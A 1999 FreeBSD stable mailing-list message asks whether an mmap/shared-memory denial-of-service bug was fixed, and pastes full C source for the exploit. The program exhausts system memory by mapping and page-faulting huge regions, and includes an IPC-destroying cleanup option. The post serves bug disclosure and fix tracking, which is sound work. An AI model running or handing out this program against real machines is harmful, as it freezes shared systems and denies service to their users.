From owner-freebsd-stable Mon Oct 4 12:23:11 1999 Delivered-To: freebsd-stable@freebsd.org Received: from granite.sentex.net (granite.sentex.ca [199.212.134.1]) by hub.freebsd.org (Postfix) with ESMTP id 0E1F61553F for ; Mon, 4 Oct 1999 12:22:55 -0700 (PDT) (envelope-from mike@sentex.net) Received: from simoeon (simeon.sentex.ca [209.112.4.47]) by granite.sentex.net (8.8.8/8.6.9) with SMTP id PAA11710; Mon, 4 Oct 1999 15:22:54 -0400 (EDT) Message-Id: <3.0.5.32.19991004152203.00f11370@staff.sentex.ca> X-Sender: mdtpop@staff.sentex.ca X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Mon, 04 Oct 1999 15:22:03 -0400 To: freebsd-stable@FreeBSD.ORG From: Mike Tancsa Subject: Re: [Patches avail?] Re: MMAP() in STABLE/CURRENT ... Cc: Matthew Dillon In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Speaking of mmap, was this DoS every fixed/ commited to stable ? With slag3% limit -h cputime unlimited filesize 32768 kbytes datasize 32768 kbytes stacksize 65536 kbytes coredumpsize unlimited memoryuse 32768 kbytes memorylocked 32768 kbytes maxproc 16 openfiles 48 The program below with the argument 9999999999999 effectivly freezes the box. It seems the more swap you have, the bigger the chunk you need to slog your machine FreeBSD 3.3-STABLE #0: Sun Oct 3 09:51:34 EDT 1999 /* * This program can be used to exploit DoS bugs in the VM systems or utility * sets of certain OS's. * * Common problems: * 1. The system does not check rlimits for mmap and shmget (FreeBSD) * 2. The system never bothers to offer the ability to set the rlimits for * virtual memory via shells, login process, or otherwise. (Linux) * 3. b. The system does not actually allocate shared memory until a page fault * is triggered (this could be argued to be a feature - Linux, *BSD) * a. The system does not watch to make sure you don't share more memory * than exists. (Linux, Irix, BSD?) * 4. With System V IPC, shared memory persists even after the process is * gone. So even though the kernel may kill the process after it exhausts all * memory from page faults, there still is 0 memory left for the system. * (All) * * This program should compile on any architecture. SGI Irix is not * vulnerable. From reading The Design and Implementation of 4.4BSD it sounds * as if the BSDs should all be vulnerable. FreeBSD will mmap as much memory * as you tell it. I haven't tried page faulting the memory, as the system is * not mine. I'd be very interested to hear about OpenBSD... * * This program is provided for vulnerability evaluation ONLY. DoS's aren't * cool, funny, or anything else. Don't use this on a machine that isn't * yours!!! */ #include #include #include #include /* redefinition of LBA.. PAGE_SIZE in both cases.. */ #ifdef __linux__ #include #include #endif #include #include #include #include #include int len; #define __FUXX0R_MMAP__ /* mmap also implements the copy-on-fault mechanism, but because the only way * to easily exploit this is to use anonymous mappings, once the kernel kills * the offending process, you can recover. (Although swap death may still * occurr */ /* #define __FUXX0R_MMAP__ */ /* Most mallocs use mmap to allocate large regions of memory. */ /* #define __FUXX0R_MMAP_MALLOC__ */ /* Guess what this option does :) */ #define __REALLY_FUXX0R__ /* From glibc 2.1.1 malloc/malloc.c */ #define DEFAULT_MMAP_THRESHOLD (128 * 1024) #ifndef PAGE_SIZE # define PAGE_SIZE 4096 #endif #ifndef SHMSEG # define SHMSEG 256 #endif #if defined(__FUXX0R_MMAP_MALLOC__) void *mymalloc(int n) { if(n <= DEFAULT_MMAP_THRESHOLD) n = DEFAULT_MMAP_THRESHOLD + 1; return malloc(n); } void myfree(void *buf) { free(buf); } #elif defined(__FUXX0R_MMAP__) void *mymalloc(int n) { int fd; void *ret; fd = open("/dev/zero", O_RDWR); ret = mmap(0, n, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); close(fd); return (ret == (void *)-1 ? NULL : ret); } void myfree(void *buf) { munmap(buf, len); } #elif defined(__FUXX0R_SYSV__) void *mymalloc(int n) { char *buf; static int i = 0; int shmid; i++; /* 0 is IPC_PRIVATE */ if((shmid = shmget(i, n, IPC_CREAT | SHM_R | SHM_W)) == -1) { #if defined(__irix__) if (shmctl (shmid, IPC_RMID, NULL)) { perror("shmctl"); } #endif return NULL; } if((buf = shmat(shmid, 0, 0)) == (char *)-1) { #if defined(__irix__) if (shmctl (shmid, IPC_RMID, NULL)) { perror("shmctl"); } #endif return NULL; } #ifndef __REALLY_FUXX0R__ if (shmctl (shmid, IPC_RMID, NULL)) { perror("shmctl"); } #endif return buf; } void myfree(void *buf) { shmdt(buf); } #endif #ifdef __linux__ void cleanSysV() { struct shmid_ds shmid; struct shm_info shm_info; int id; int maxid; int ret; int shid; maxid = shmctl (0, SHM_INFO, (struct shmid_ds *) &shm_info); printf("maxid %d\n", maxid); for (id = 0; id <= maxid; id++) { if((shid = shmctl (id, SHM_STAT, &shmid)) < 0) continue; if (shmctl (shid, IPC_RMID, NULL)) { perror("shmctl"); } printf("id %d has %d attachments\n", shid, shmid.shm_nattch); shmid.shm_nattch = 0; shmctl(shid, IPC_SET, &shmid); if(shmctl(shid, SHM_STAT, &shmid) < 0) { printf("id %d deleted sucessfully\n", shid); } else if(shmid.shm_nattch == 0) { printf("Still able to stat id %d, but has no attachments\n", shid); } else { printf("Error, failed to remove id %d!\n", shid); } } } #endif int main(int argc, char **argv) { int shmid; int i = 0; char *buf[SHMSEG * 2]; int max; int offset; if(argc < 2) { printf("Usage: %s <[0x]size of segments>\n", argv[0]); #ifdef __linux__ printf(" or %s --clean (destroys all of IPC space you have permissions to)\n", argv[0]); #endif exit(0); } #ifdef __linux__ if(!strcmp(argv[1], "--clean")) { cleanSysV(); exit(0); } #endif len = strtol(argv[1], NULL, 0); for(buf[i] = mymalloc(len); i < SHMSEG * 2 && buf[i] != NULL; buf[++i] = mymalloc(len)) ; max = i; perror("Stopped because"); printf("Maxed out at %d %d byte segments\n", max, len); #if defined(__FUXX0R_SYSV__) && defined(SHMMNI) printf("Despite an alleged max of %d (%d per proc) %d byte segs. (Page " "size: %d), \n", SHMMNI, SHMSEG, SHMMAX, PAGE_SIZE); #endif #ifdef __REALLY_FUXX0R__ fprintf(stderr, "Page faulting alloced region... Have a nice life!\n"); for(i = 0; i < max; i++) { for(offset = 0; offset < len; offset += PAGE_SIZE) { buf[i][offset] = '*'; } printf("wrote to %d byes of memory, final offset %d\n", len, offset); } // never reached :( #else for(i = 0; i <= max; i++) { myfree(buf[i]); } #endif exit(42); } ---Mike ------------------------------------------------------------------------ Mike Tancsa, tel 01.519.651.3400 Network Administrator, mike@sentex.net Sentex Communications www.sentex.net Cambridge, Ontario Canada To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message